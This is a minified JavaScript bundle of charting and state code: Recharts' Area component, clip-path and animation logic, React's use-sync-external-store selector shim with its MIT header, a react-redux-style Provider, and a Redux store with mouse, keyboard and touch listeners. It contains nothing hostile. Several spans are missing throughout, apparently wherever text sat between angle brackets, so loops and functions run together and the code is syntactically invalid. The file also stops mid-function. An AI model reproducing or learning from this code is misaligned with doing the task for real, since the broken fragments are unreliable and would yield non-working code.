lF(e){var{xAxisId:t,yAxisId:n,clipPathId:r}=e,i=q0(),{needClipX:a,needClipY:o,needClip:l}=t3(t,n);if(!l||!i)return null;var{x:c,y:u,width:d,height:f}=i;return p.createElement("clipPath",{id:"clipPath-".concat(r)},p.createElement("rect",{x:a?c:c-d/2,y:o?u:u-f/2,width:a?d:d*2,height:o?f:f*2}))}function cF(e){var t=po(e),n=3,r=2;if(t!=null){var{r:i,strokeWidth:a}=t,o=Number(i),l=Number(a);return(Number.isNaN(o)||o<0)&&(o=n),(Number.isNaN(l)||l<0)&&(l=r),{r:o,strokeWidth:l}}return{r:n,strokeWidth:r}}var uF={};/** + * @license React + * use-sync-external-store-with-selector.production.js + * + * Copyright (c) Meta Platforms, Inc. and affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var Jo=p;function dF(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var fF=typeof Object.is=="function"?Object.is:dF,pF=Jo.useSyncExternalStore,mF=Jo.useRef,hF=Jo.useEffect,xF=Jo.useMemo,vF=Jo.useDebugValue;uF.useSyncExternalStoreWithSelector=function(e,t,n,r,i){var a=mF(null);if(a.current===null){var o={hasValue:!1,value:null};a.current=o}else o=a.current;a=xF(function(){function c(h){if(!u){if(u=!0,d=h,h=r(h),i!==void 0&&o.hasValue){var x=o.value;if(i(x,h))return f=x}return f=h}if(x=f,fF(d,h))return x;var g=r(h);return i!==void 0&&i(x,g)?(d=h,x):(d=h,f=g)}var u=!1,d,f,m=n===void 0?null:n;return[function(){return c(t())},m===null?void 0:function(){return c(m())}]},[t,n,r,i]);var l=pF(e,a[0],a[1]);return hF(function(){o.hasValue=!0,o.value=l},[l]),vF(l),l};function gF(e){e()}function yF(){let e=null,t=null;return{clear(){e=null,t=null},notify(){gF(()=>{let n=e;for(;n;)n.callback(),n=n.next})},get(){const n=[];let r=e;for(;r;)n.push(r),r=r.next;return n},subscribe(n){let r=!0;const i=t={callback:n,next:null,prev:t};return i.prev?i.prev.next=i:e=i,function(){!r||e===null||(r=!1,i.next?i.next.prev=i.prev:t=i.prev,i.prev?i.prev.next=i.next:e=i.next)}}}}var Gb={notify(){},get:()=>[]};function bF(e,t){let n,r=Gb,i=0,a=!1;function o(g){d();const y=r.subscribe(g);let v=!1;return()=>{v||(v=!0,y(),f())}}function l(){r.notify()}function c(){x.onStateChange&&x.onStateChange()}function u(){return a}function d(){i++,n||(n=e.subscribe(c),r=yF())}function f(){i--,n&&i===0&&(n(),n=void 0,r.clear(),r=Gb)}function m(){a||(a=!0,d())}function h(){a&&(a=!1,f())}const x={addNestedSub:o,notifyNestedSubs:l,handleChangeWrapper:c,isSubscribed:u,trySubscribe:m,tryUnsubscribe:h,getListeners:()=>r};return x}var wF=()=>typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",jF=wF(),kF=()=>typeof navigator<"u"&&navigator.product==="ReactNative",NF=kF(),SF=()=>jF||NF?p.useLayoutEffect:p.useEffect,zF=SF();function Xb(e,t){return e===t?e!==0||t!==0||1/e===1/t:e!==e&&t!==t}function CF(e,t){if(Xb(e,t))return!0;if(typeof e!="object"||e===null||typeof t!="object"||t===null)return!1;const n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(let i=0;i{const c=bF(i);return{store:i,subscription:c,getServerState:r?()=>r:void 0}},[i,r]),o=p.useMemo(()=>i.getState(),[i]);zF(()=>{const{subscription:c}=a;return c.onStateChange=c.notifyNestedSubs,c.trySubscribe(),o!==i.getState()&&c.notifyNestedSubs(),()=>{c.tryUnsubscribe(),c.onStateChange=void 0}},[a,o]);const l=n||EF;return p.createElement(l.Provider,{value:a},t)}var _F=AF,OF=new Set(["axisLine","tickLine","activeBar","activeDot","activeLabel","activeShape","allowEscapeViewBox","background","cursor","dot","label","line","margin","padding","position","shape","style","tick","wrapperStyle","radius"]);function TF(e,t){return e==null&&t==null?!0:typeof e=="number"&&typeof t=="number"?e===t||e!==e&&t!==t:e===t}function n3(e,t){var n=new Set([...Object.keys(e),...Object.keys(t)]);for(var r of n)if(OF.has(r)){if(e[r]==null&&t[r]==null)continue;if(!CF(e[r],t[r]))return!1}else if(!TF(e[r],t[r]))return!1;return!0}function Y0(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.xAxisId)!==null&&n!==void 0?n:GS}function G0(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.yAxisId)!==null&&n!==void 0?n:GS}var r3=(e,t,n)=>B4(e,"xAxis",Y0(e,t),n),i3=(e,t,n)=>$4(e,"xAxis",Y0(e,t),n),a3=(e,t,n)=>B4(e,"yAxis",G0(e,t),n),s3=(e,t,n)=>$4(e,"yAxis",G0(e,t),n),MF=L([ze,r3,a3,i3,s3],(e,t,n,r,i)=>Jn(e,"xAxis")?Kc(t,r,!1):Kc(n,i,!1)),LF=(e,t)=>t,o3=L([y4,LF],(e,t)=>e.filter(n=>n.type==="area").find(n=>n.id===t)),l3=e=>{var t=ze(e),n=Jn(t,"xAxis");return n?"yAxis":"xAxis"},IF=(e,t)=>{var n=l3(e);return n==="yAxis"?G0(e,t):Y0(e,t)},DF=(e,t,n)=>N4(e,l3(e),IF(e,t),n),RF=L([o3,DF],(e,t)=>{var n;if(!(e==null||t==null)){var{stackId:r}=e,i=u0(e);if(!(r==null||i==null)){var a=(n=t[r])===null||n===void 0?void 0:n.stackedData,o=a==null?void 0:a.find(l=>l.key===i);if(o!=null)return o.map(l=>[l[0],l[1]])}}}),$F=L([ze,r3,a3,i3,s3,RF,PI,MF,o3,DI],(e,t,n,r,i,a,o,l,c,u)=>{var{chartData:d,dataStartIndex:f,dataEndIndex:m}=o;if(!(c==null||e!=="horizontal"&&e!=="vertical"||t==null||n==null||r==null||i==null||r.length===0||i.length===0||l==null)){var{data:h}=c,x;if(h&&h.length>0?x=h:x=d==null?void 0:d.slice(f,m+1),x!=null)return iW({layout:e,xAxis:t,yAxis:n,xAxisTicks:r,yAxisTicks:i,dataStartIndex:f,areaSettings:c,stackedData:a,displayedData:x,chartBaseValue:u,bandSize:l})}}),BF=["id"],FF=["activeDot","animationBegin","animationDuration","animationEasing","connectNulls","dot","fill","fillOpacity","hide","isAnimationActive","legendType","stroke","xAxisId","yAxisId"];function Mi(){return Mi=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{dataKey:t,name:n,stroke:r,fill:i,legendType:a,hide:o}=e;return[{inactive:o,dataKey:t,type:a,color:wu(r,i),value:md(n,t),payload:e}]},qF=p.memo(e=>{var{dataKey:t,data:n,stroke:r,strokeWidth:i,fill:a,name:o,hide:l,unit:c,tooltipType:u,id:d}=e,f={dataDefinedOnItem:n,getPosition:Za,settings:{stroke:r,strokeWidth:i,fill:a,dataKey:t,nameKey:void 0,name:md(o,t),hide:l,type:u,color:wu(r,a),unit:c,graphicalItemId:d}};return p.createElement(HS,{tooltipEntrySettings:f})});function YF(e){var{clipPathId:t,points:n,props:r}=e,{needClip:i,dot:a,dataKey:o}=r,l=mr(r);return p.createElement(WB,{points:n,dot:a,className:"recharts-area-dots",dotClassName:"recharts-area-dot",dataKey:o,baseProps:l,needClip:i,clipPathId:t})}function GF(e){var{showLabels:t,children:n,points:r}=e,i=r.map(a=>{var o,l,c={x:(o=a.x)!==null&&o!==void 0?o:0,y:(l=a.y)!==null&&l!==void 0?l:0,width:0,lowerWidth:0,upperWidth:0,height:0};return ba(ba({},c),{},{value:a.value,payload:a.payload,parentViewBox:void 0,viewBox:c,fill:void 0})});return p.createElement(i$,{value:t?i:void 0},n)}function Qb(e){var{points:t,baseLine:n,needClip:r,clipPathId:i,props:a}=e,{layout:o,type:l,stroke:c,connectNulls:u,isRange:d}=a,{id:f}=a,m=c3(a,BF),h=mr(m),x=At(m);return p.createElement(p.Fragment,null,(t==null?void 0:t.length)>1&&p.createElement(Wt,{clipPath:r?"url(#clipPath-".concat(i,")"):void 0},p.createElement(Pa,Mi({},x,{id:f,points:t,connectNulls:u,type:l,baseLine:n,layout:o,stroke:"none",className:"recharts-area-area"})),c!=="none"&&p.createElement(Pa,Mi({},h,{className:"recharts-area-curve",layout:o,type:l,connectNulls:u,fill:"none",points:t})),c!=="none"&&d&&p.createElement(Pa,Mi({},h,{className:"recharts-area-curve",layout:o,type:l,connectNulls:u,fill:"none",points:n}))),p.createElement(YF,{points:t,props:m,clipPathId:i}))}function XF(e){var t,n,{alpha:r,baseLine:i,points:a,strokeWidth:o}=e,l=(t=a[0])===null||t===void 0?void 0:t.y,c=(n=a[a.length-1])===null||n===void 0?void 0:n.y;if(!ye(l)||!ye(c))return null;var u=r*Math.abs(l-c),d=Math.max(...a.map(f=>f.x||0));return ue(i)?d=Math.max(i,d):i&&Array.isArray(i)&&i.length&&(d=Math.max(...i.map(f=>f.x||0),d)),ue(d)?p.createElement("rect",{x:0,y:lf.y||0));return ue(i)?d=Math.max(i,d):i&&Array.isArray(i)&&i.length&&(d=Math.max(...i.map(f=>f.y||0),d)),ue(d)?p.createElement("rect",{x:l({points:o,baseLine:l}),[o,l]),g=Sd(x,"recharts-area-"),y=jT(),[v,b]=p.useState(!1),w=!v,j=p.useCallback(()=>{typeof h=="function"&&h(),b(!1)},[h]),k=p.useCallback(()=>{typeof m=="function"&&m(),b(!0)},[m]);if(y==null)return null;var S=i.current,N=a.current;return p.createElement(GF,{showLabels:w,points:o},r.children,p.createElement(Nd,{animationId:g,begin:u,duration:d,isActive:c,easing:f,onAnimationEnd:j,onAnimationStart:k,key:g},z=>{if(S){var O=S.length/o.length,_=z===1?o:o.map((E,U)=>{var K=Math.floor(U*O);if(S[K]){var R=S[K];return ba(ba({},E),{},{x:gt(R.x,E.x,z),y:gt(R.y,E.y,z)})}return E}),T;return ue(l)?T=gt(N,l,z):wt(l)||Gn(l)?T=gt(N,0,z):T=l.map((E,U)=>{var K=Math.floor(U*O);if(Array.isArray(N)&&N[K]){var R=N[K];return ba(ba({},E),{},{x:gt(R.x,E.x,z),y:gt(R.y,E.y,z)})}return E}),z>0&&(i.current=_,a.current=T),p.createElement(Qb,{points:_,baseLine:T,needClip:t,clipPathId:n,props:r})}return z>0&&(i.current=o,a.current=l),p.createElement(Wt,null,c&&p.createElement("defs",null,p.createElement("clipPath",{id:"animationClipPath-".concat(n)},p.createElement(QF,{alpha:z,points:o,baseLine:l,layout:y,strokeWidth:r.strokeWidth}))),p.createElement(Wt,{clipPath:"url(#animationClipPath-".concat(n,")")},p.createElement(Qb,{points:o,baseLine:l,needClip:t,clipPathId:n,props:r})))}),p.createElement(MS,{label:r.label}))}function eW(e){var{needClip:t,clipPathId:n,props:r}=e,i=p.useRef(null),a=p.useRef();return p.createElement(JF,{needClip:t,clipPathId:n,props:r,previousPointsRef:i,previousBaselineRef:a})}class tW extends p.PureComponent{render(){var{hide:t,dot:n,points:r,className:i,top:a,left:o,needClip:l,xAxisId:c,yAxisId:u,width:d,height:f,id:m,baseLine:h,zIndex:x}=this.props;if(t)return null;var g=Ve("recharts-area",i),y=m,{r:v,strokeWidth:b}=cF(n),w=US(n),j=v*2+b,k=l?"url(#clipPath-".concat(w?"":"dots-").concat(y,")"):void 0;return p.createElement(pi,{zIndex:x},p.createElement(Wt,{className:g},l&&p.createElement("defs",null,p.createElement(lF,{clipPathId:y,xAxisId:c,yAxisId:u}),!w&&p.createElement("clipPath",{id:"clipPath-dots-".concat(y)},p.createElement("rect",{x:o-j/2,y:a-j/2,width:d+j,height:f+j}))),p.createElement(eW,{needClip:l,clipPathId:y,props:this.props})),p.createElement(qb,{points:r,mainColor:wu(this.props.stroke,this.props.fill),itemDataKey:this.props.dataKey,activeDot:this.props.activeDot,clipPath:k}),this.props.isRange&&Array.isArray(h)&&p.createElement(qb,{points:h,mainColor:wu(this.props.stroke,this.props.fill),itemDataKey:this.props.dataKey,activeDot:this.props.activeDot,clipPath:k}))}}var u3={activeDot:!0,animationBegin:0,animationDuration:1500,animationEasing:"ease",connectNulls:!1,dot:!1,fill:"#3182bd",fillOpacity:.6,hide:!1,isAnimationActive:"auto",legendType:"line",stroke:"#3182bd",strokeWidth:1,type:"linear",label:!1,xAxisId:0,yAxisId:0,zIndex:Rt.area};function nW(e){var t,n=rn(e,u3),{activeDot:r,animationBegin:i,animationDuration:a,animationEasing:o,connectNulls:l,dot:c,fill:u,fillOpacity:d,hide:f,isAnimationActive:m,legendType:h,stroke:x,xAxisId:g,yAxisId:y}=n,v=c3(n,FF),b=Qa(),w=uS(),{needClip:j}=t3(g,y),k=In(),{points:S,isRange:N,baseLine:z}=(t=pe(K=>$F(K,e.id,k)))!==null&&t!==void 0?t:{},O=q0();if(b!=="horizontal"&&b!=="vertical"||O==null||w!=="AreaChart"&&w!=="ComposedChart")return null;var{height:_,width:T,x:E,y:U}=O;return!S||!S.length?null:p.createElement(tW,Mi({},v,{activeDot:r,animationBegin:i,animationDuration:a,animationEasing:o,baseLine:z,connectNulls:l,dot:c,fill:u,fillOpacity:d,height:_,hide:f,layout:b,isAnimationActive:m==="auto"?!kd.isSsr:m,isRange:N,legendType:h,needClip:j,points:S,stroke:x,width:T,left:E,top:U,xAxisId:g,yAxisId:y}))}var rW=(e,t,n,r,i)=>{var a=n??t;if(ue(a))return a;var o=e==="horizontal"?i:r,l=o.scale.domain();if(o.type==="number"){var c=Math.max(l[0],l[1]),u=Math.min(l[0],l[1]);return a==="dataMin"?u:a==="dataMax"||c<0?c:Math.max(Math.min(l[0],l[1]),0)}return a==="dataMin"?l[0]:a==="dataMax"?l[1]:l[0]};function iW(e){var{areaSettings:{connectNulls:t,baseValue:n,dataKey:r},stackedData:i,layout:a,chartBaseValue:o,xAxis:l,yAxis:c,displayedData:u,dataStartIndex:d,xAxisTicks:f,yAxisTicks:m,bandSize:h}=e,x=i&&i.length,g=rW(a,o,n,l,c),y=a==="horizontal",v=!1,b=u.map((j,k)=>{var S,N,z,O;if(x)O=i[d+k];else{var _=Le(j,r);Array.isArray(_)?(O=_,v=!0):O=[g,_]}var T=(S=(N=O)===null||N===void 0?void 0:N[1])!==null&&S!==void 0?S:null,E=T==null||x&&!t&&Le(j,r)==null;if(y){var U;return{x:ry({axis:l,ticks:f,bandSize:h,entry:j,index:k}),y:E?null:(U=c.scale.map(T))!==null&&U!==void 0?U:null,value:O,payload:j}}return{x:E?null:(z=l.scale.map(T))!==null&&z!==void 0?z:null,y:ry({axis:c,ticks:m,bandSize:h,entry:j,index:k}),value:O,payload:j}}),w;return x||v?w=b.map(j=>{var k,S=Array.isArray(j.value)?j.value[0]:null;if(y){var N;return{x:j.x,y:S!=null&&j.y!=null&&(N=c.scale.map(S))!==null&&N!==void 0?N:null,payload:j.payload}}return{x:S!=null&&(k=l.scale.map(S))!==null&&k!==void 0?k:null,y:j.y,payload:j.payload}}):w=y?c.scale.map(g):l.scale.map(g),{points:b,baseLine:w??0,isRange:v}}function aW(e){var t=rn(e,u3),n=In();return p.createElement(KS,{id:t.id,type:"area"},r=>p.createElement(p.Fragment,null,p.createElement(Y$,{legendPayload:KF(t)}),p.createElement(qF,{dataKey:t.dataKey,data:t.data,stroke:t.stroke,strokeWidth:t.strokeWidth,fill:t.fill,name:t.name,hide:t.hide,unit:t.unit,tooltipType:t.tooltipType,id:r}),p.createElement(lB,{type:"area",id:r,data:t.data,dataKey:t.dataKey,xAxisId:t.xAxisId,yAxisId:t.yAxisId,zAxisId:0,stackId:W6(t.stackId),hide:t.hide,barSize:void 0,baseValue:t.baseValue,isPanorama:n,connectNulls:t.connectNulls}),p.createElement(nW,Mi({},t,{id:r}))))}var d3=p.memo(aW,n3);d3.displayName="Area";var sW=(e,t)=>t,X0=L([sW,ze,p4,mt,rS,_r,eR,ft],oR),Z0=e=>{var t=e.currentTarget.getBoundingClientRect(),n=t.width/e.currentTarget.offsetWidth,r=t.height/e.currentTarget.offsetHeight;return{chartX:Math.round((e.clientX-t.left)/n),chartY:Math.round((e.clientY-t.top)/r)}},f3=vn("mouseClick"),p3=Ro();p3.startListening({actionCreator:f3,effect:(e,t)=>{var n=e.payload,r=X0(t.getState(),Z0(n));(r==null?void 0:r.activeIndex)!=null&&t.dispatch(J7({activeIndex:r.activeIndex,activeDataKey:void 0,activeCoordinate:r.activeCoordinate}))}});var eh=vn("mouseMove"),m3=Ro(),Tl=null;m3.startListening({actionCreator:eh,effect:(e,t)=>{var n=e.payload;Tl!==null&&cancelAnimationFrame(Tl);var r=Z0(n);Tl=requestAnimationFrame(()=>{var i=t.getState(),a=O0(i,i.tooltip.settings.shared);if(a==="axis"){var o=X0(i,r);(o==null?void 0:o.activeIndex)!=null?t.dispatch(Y4({activeIndex:o.activeIndex,activeDataKey:void 0,activeCoordinate:o.activeCoordinate})):t.dispatch(q4())}Tl=null})}});function oW(e,t){return t instanceof HTMLElement?"HTMLElement <".concat(t.tagName,' class="').concat(t.className,'">'):t===window?"global.window":e==="children"&&typeof t=="object"&&t!==null?"<>":t}var Jb={accessibilityLayer:!0,barCategoryGap:"10%",barGap:4,barSize:void 0,className:void 0,maxBarSize:void 0,stackOffset:"none",syncId:void 0,syncMethod:"index",baseValue:void 0,reverseStackOrder:!1},h3=Ut({name:"rootProps",initialState:Jb,reducers:{updateOptions:(e,t)=>{var n;e.accessibilityLayer=t.payload.accessibilityLayer,e.barCategoryGap=t.payload.barCategoryGap,e.barGap=(n=t.payload.barGap)!==null&&n!==void 0?n:Jb.barGap,e.barSize=t.payload.barSize,e.maxBarSize=t.payload.maxBarSize,e.stackOffset=t.payload.stackOffset,e.syncId=t.payload.syncId,e.syncMethod=t.payload.syncMethod,e.className=t.payload.className,e.baseValue=t.payload.baseValue,e.reverseStackOrder=t.payload.reverseStackOrder}}}),lW=h3.reducer,{updateOptions:cW}=h3.actions,uW=null,dW={updatePolarOptions:(e,t)=>t.payload},x3=Ut({name:"polarOptions",initialState:uW,reducers:dW}),{updatePolarOptions:fW}=x3.actions,pW=x3.reducer,v3=vn("keyDown"),g3=vn("focus"),Q0=Ro();Q0.startListening({actionCreator:v3,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip,a=e.payload;if(!(a!=="ArrowRight"&&a!=="ArrowLeft"&&a!=="Enter")){var o=T0(i,os(n),Go(n),Zo(n)),l=o==null?-1:Number(o);if(!(!Number.isFinite(l)||l<0)){var c=_r(n);if(a==="Enter"){var u=hu(n,"axis","hover",String(i.index));t.dispatch(Gm({active:!i.active,activeIndex:i.index,activeCoordinate:u}));return}var d=U7(n),f=d==="left-to-right"?1:-1,m=a==="ArrowRight"?1:-1,h=l+m*f;if(!(c==null||h>=c.length||h<0)){var x=hu(n,"axis","hover",String(h));t.dispatch(Gm({active:!0,activeIndex:h.toString(),activeCoordinate:x}))}}}}}});Q0.startListening({actionCreator:g3,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip;if(!i.active&&i.index==null){var a="0",o=hu(n,"axis","hover",String(a));t.dispatch(Gm({active:!0,activeIndex:a,activeCoordinate:o}))}}}});var cn=vn("externalEvent"),y3=Ro(),ap=new Map;y3.startListening({actionCreator:cn,effect:(e,t)=>{var{handler:n,reactEvent:r}=e.payload;if(n!=null){r.persist();var i=r.type,a=ap.get(i);a!==void 0&&cancelAnimationFrame(a);var o=requestAnimationFrame(()=>{try{var l=t.getState(),c={activeCoordinate:$D(l),activeDataKey:oS(l),activeIndex:Va(l),activeLabel:sS(l),activeTooltipIndex:Va(l),isTooltipActive:BD(l)};n(c,r)}finally{ap.delete(i)}});ap.set(i,o)}}});var mW=L([as],e=>e.tooltipItemPayloads),hW=L([mW,(e,t)=>t,(e,t,n)=>n],(e,t,n)=>{if(t!=null){var r=e.find(a=>a.settings.graphicalItemId===n);if(r!=null){var{getPosition:i}=r;if(i!=null)return i(t)}}}),b3=vn("touchMove"),w3=Ro();w3.startListening({actionCreator:b3,effect:(e,t)=>{var n=e.payload;if(!(n.touches==null||n.touches.length===0)){var r=t.getState(),i=O0(r,r.tooltip.settings.shared);if(i==="axis"){var a=n.touches[0];if(a==null)return;var o=X0(r,Z0({clientX:a.clientX,clientY:a.clientY,currentTarget:n.currentTarget}));(o==null?void 0:o.activeIndex)!=null&&t.dispatch(Y4({activeIndex:o.activeIndex,activeDataKey:void 0,activeCoordinate:o.activeCoordinate}))}else if(i==="item"){var l,c=n.touches[0];if(document.elementFromPoint==null||c==null)return;var u=document.elementFromPoint(c.clientX,c.clientY);if(!u||!u.getAttribute)return;var d=u.getAttribute(Ik),f=(l=u.getAttribute(Dk))!==null&&l!==void 0?l:void 0,m=ss(r).find(g=>g.id===f);if(d==null||m==null||f==null)return;var{dataKey:h}=m,x=hW(r,d,f);t.dispatch(K4({activeDataKey:h,activeIndex:d,activeCoordinate:x,activeGraphicalItemId:f}))}}}});var xW=sk({brush:tF,cartesianAxis:qB,chartData:DR,errorBars:oF,graphicalItems:sB,layout:T6,legend:IT,options:OR,polarAxis:x$,polarOptions:pW,referenceElements:rF,rootProps:lW,tooltip:eD,zIndex:wR}),vW=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"Chart";return i6({reducer:xW,preloadedState:t,middleware:r=>{var i;return r({serializableCheck:!1,immutableCheck:!["commonjs","es6","production"].includes((i="es6")!==null&&i!==void 0?i:"")}).concat([p3.middleware,m3.middleware,Q0.middleware,y3.middleware,w3.middleware])},enhancers:r=>{var i=r;return typeof r=="function"&&(i=r()),i.concat(wk({type:"raf"}))},devTools:{serialize:{replacer:oW},name:"recharts-".concat(n)}})};function j3(e){var{preloadedState:t,children:n,reduxStoreName:r}=e,i=In(),a=p.useRef(null);if(i)return n;a.current==null&&(a.current=vW(t,r));var o=bx;return p.createElement(_F,{context:o,store:a.current},n)}function gW(e){var{layout:t,margin:n}=e,r=Qe(),i=In();return p.useEffect(()=>{i||(r(A6(t)),r(E6(n)))},[r,i,t,n]),null}var k3=p.memo(gW,n3);function N3(e){var t=Qe();return p.useEffect(()=>{t(cW(e))},[t,e]),null}function e2(e){var{zIndex:t,isPanorama:n}=e,r=p.useRef(null),i=Qe();return p.useLayoutEffect(()=>(r.current&&i(yR({zIndex:t,element:r.current,isPanorama:n})),()=>{i(bR({zIndex:t,isPanorama:n}))}),[i,t,n]),p.createElement("g",{tabIndex:-1,ref:r})}function t2(e){var{children:t,isPanorama:n}=e,r=pe(cR);if(!r||r.length===0)return t;var i=r.filter(o=>o<0),a=r.filter(o=>o>0);return p.createElement(p.Fragment,null,i.map(o=>p.createElement(e2,{key:o,zIndex:o,isPanorama:n})),t,a.map(o=>p.createElement(e2,{key:o,zIndex:o,isPanorama:n})))}var yW=["children"];function bW(e,t){if(e==null)return{};var n,r,i=wW(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r{var n=bT(),r=wT(),i=tN();if(!ai(n)||!ai(r))return null;var{children:a,otherAttributes:o,title:l,desc:c}=e,u,d;return o!=null&&(typeof o.tabIndex=="number"?u=o.tabIndex:u=i?0:void 0,typeof o.role=="string"?d=o.role:d=i?"application":void 0),p.createElement(s5,ju({},o,{title:l,desc:c,role:d,tabIndex:u,width:n,height:r,style:jW,ref:t}),a)}),NW=e=>{var{children:t}=e,n=pe(gd);if(!n)return null;var{width:r,height:i,y:a,x:o}=n;return p.createElement(s5,{width:r,height:i,x:o,y:a},t)},n2=p.forwardRef((e,t)=>{var{children:n}=e,r=bW(e,yW),i=In();return i?p.createElement(NW,null,p.createElement(t2,{isPanorama:!0},n)):p.createElement(kW,ju({ref:t},r),p.createElement(t2,{isPanorama:!1},n))});function SW(){var e=Qe(),[t,n]=p.useState(null),r=pe(Y6);return p.useEffect(()=>{if(t!=null){var i=t.getBoundingClientRect(),a=i.width/t.offsetWidth;ye(a)&&a!==r&&e(O6(a))}},[t,e,r]),n}function r2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function zW(e){for(var t=1;t(KR(),null);function ku(e){if(typeof e=="number")return e;if(typeof e=="string"){var t=parseFloat(e);if(!Number.isNaN(t))return t}return 0}var _W=p.forwardRef((e,t)=>{var n,r,i=p.useRef(null),[a,o]=p.useState({containerWidth:ku((n=e.style)===null||n===void 0?void 0:n.width),containerHeight:ku((r=e.style)===null||r===void 0?void 0:r.height)}),l=p.useCallback((u,d)=>{o(f=>{var m=Math.round(u),h=Math.round(d);return f.containerWidth===m&&f.containerHeight===h?f:{containerWidth:m,containerHeight:h}})},[]),c=p.useCallback(u=>{if(typeof t=="function"&&t(u),u!=null&&typeof ResizeObserver<"u"){var{width:d,height:f}=u.getBoundingClientRect();l(d,f);var m=x=>{var g=x[0];if(g!=null){var{width:y,height:v}=g.contentRect;l(y,v)}},h=new ResizeObserver(m);h.observe(u),i.current=h}},[t,l]);return p.useEffect(()=>()=>{var u=i.current;u!=null&&u.disconnect()},[l]),p.createElement(p.Fragment,null,p.createElement(Bo,{width:a.containerWidth,height:a.containerHeight}),p.createElement("div",ti({ref:c},e)))}),OW=p.forwardRef((e,t)=>{var{width:n,height:r}=e,[i,a]=p.useState({containerWidth:ku(n),containerHeight:ku(r)}),o=p.useCallback((c,u)=>{a(d=>{var f=Math.round(c),m=Math.round(u);return d.containerWidth===f&&d.containerHeight===m?d:{containerWidth:f,containerHeight:m}})},[]),l=p.useCallback(c=>{if(typeof t=="function"&&t(c),c!=null){var{width:u,height:d}=c.getBoundingClientRect();o(u,d)}},[t,o]);return p.createElement(p.Fragment,null,p.createElement(Bo,{width:i.containerWidth,height:i.containerHeight}),p.createElement("div",ti({ref:l},e)))}),TW=p.forwardRef((e,t)=>{var{width:n,height:r}=e;return p.createElement(p.Fragment,null,p.createElement(Bo,{width:n,height:r}),p.createElement("div",ti({ref:t},e)))}),MW=p.forwardRef((e,t)=>{var{width:n,height:r}=e;return typeof n=="string"||typeof r=="string"?p.createElement(OW,ti({},e,{ref:t})):typeof n=="number"&&typeof r=="number"?p.createElement(TW,ti({},e,{width:n,height:r,ref:t})):p.createElement(p.Fragment,null,p.createElement(Bo,{width:n,height:r}),p.createElement("div",ti({ref:t},e)))});function LW(e){return e?_W:MW}var IW=p.forwardRef((e,t)=>{var{children:n,className:r,height:i,onClick:a,onContextMenu:o,onDoubleClick:l,onMouseDown:c,onMouseEnter:u,onMouseLeave:d,onMouseMove:f,onMouseUp:m,onTouchEnd:h,onTouchMove:x,onTouchStart:g,style:y,width:v,responsive:b,dispatchTouchEvents:w=!0}=e,j=p.useRef(null),k=Qe(),[S,N]=p.useState(null),[z,O]=p.useState(null),_=SW(),T=Ex(),E=(T==null?void 0:T.width)>0?T.width:v,U=(T==null?void 0:T.height)>0?T.height:i,K=p.useCallback(P=>{_(P),typeof t=="function"&&t(P),N(P),O(P),P!=null&&(j.current=P)},[_,t,N,O]),R=p.useCallback(P=>{k(f3(P)),k(cn({handler:a,reactEvent:P}))},[k,a]),I=p.useCallback(P=>{k(eh(P)),k(cn({handler:u,reactEvent:P}))},[k,u]),F=p.useCallback(P=>{k(q4()),k(cn({handler:d,reactEvent:P}))},[k,d]),B=p.useCallback(P=>{k(eh(P)),k(cn({handler:f,reactEvent:P}))},[k,f]),V=p.useCallback(()=>{k(g3())},[k]),$=p.useCallback(P=>{k(v3(P.key))},[k]),q=p.useCallback(P=>{k(cn({handler:o,reactEvent:P}))},[k,o]),Y=p.useCallback(P=>{k(cn({handler:l,reactEvent:P}))},[k,l]),ie=p.useCallback(P=>{k(cn({handler:c,reactEvent:P}))},[k,c]),ae=p.useCallback(P=>{k(cn({handler:m,reactEvent:P}))},[k,m]),fe=p.useCallback(P=>{k(cn({handler:g,reactEvent:P}))},[k,g]),de=p.useCallback(P=>{w&&k(b3(P)),k(cn({handler:x,reactEvent:P}))},[k,w,x]),G=p.useCallback(P=>{k(cn({handler:h,reactEvent:P}))},[k,h]),te=LW(b);return p.createElement(hS.Provider,{value:S},p.createElement(ZA.Provider,{value:z},p.createElement(te,{width:E??(y==null?void 0:y.width),height:U??(y==null?void 0:y.height),className:Ve("recharts-wrapper",r),style:zW({position:"relative",cursor:"default",width:E,height:U},y),onClick:R,onContextMenu:q,onDoubleClick:Y,onFocus:V,onKeyDown:$,onMouseDown:ie,onMouseEnter:I,onMouseLeave:F,onMouseMove:B,onMouseUp:ae,onTouchEnd:G,onTouchMove:de,onTouchStart:fe,ref:K},p.createElement(AW,null),n)))}),DW=["width","height","responsive","children","className","style","compact","title","desc"];function RW(e,t){if(e==null)return{};var n,r,i=$W(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r{var{width:n,height:r,responsive:i,children:a,className:o,style:l,compact:c,title:u,desc:d}=e,f=RW(e,DW),m=mr(f);return c?p.createElement(p.Fragment,null,p.createElement(Bo,{width:n,height:r}),p.createElement(n2,{otherAttributes:m,title:u,desc:d},a)):p.createElement(IW,{className:o,style:l,width:n,height:r,responsive:i??!1,onClick:e.onClick,onMouseLeave:e.onMouseLeave,onMouseEnter:e.onMouseEnter,onMouseMove:e.onMouseMove,onMouseDown:e.onMouseDown,onMouseUp:e.onMouseUp,onContextMenu:e.onContextMenu,onDoubleClick:e.onDoubleClick,onTouchStart:e.onTouchStart,onTouchMove:e.onTouchMove,onTouchEnd:e.onTouchEnd},p.createElement(n2,{otherAttributes:m,title:u,desc:d,ref:t},p.createElement(aF,null,a)))});function th(){return th=Object.assign?Object.assign.bind():function(e){for(var 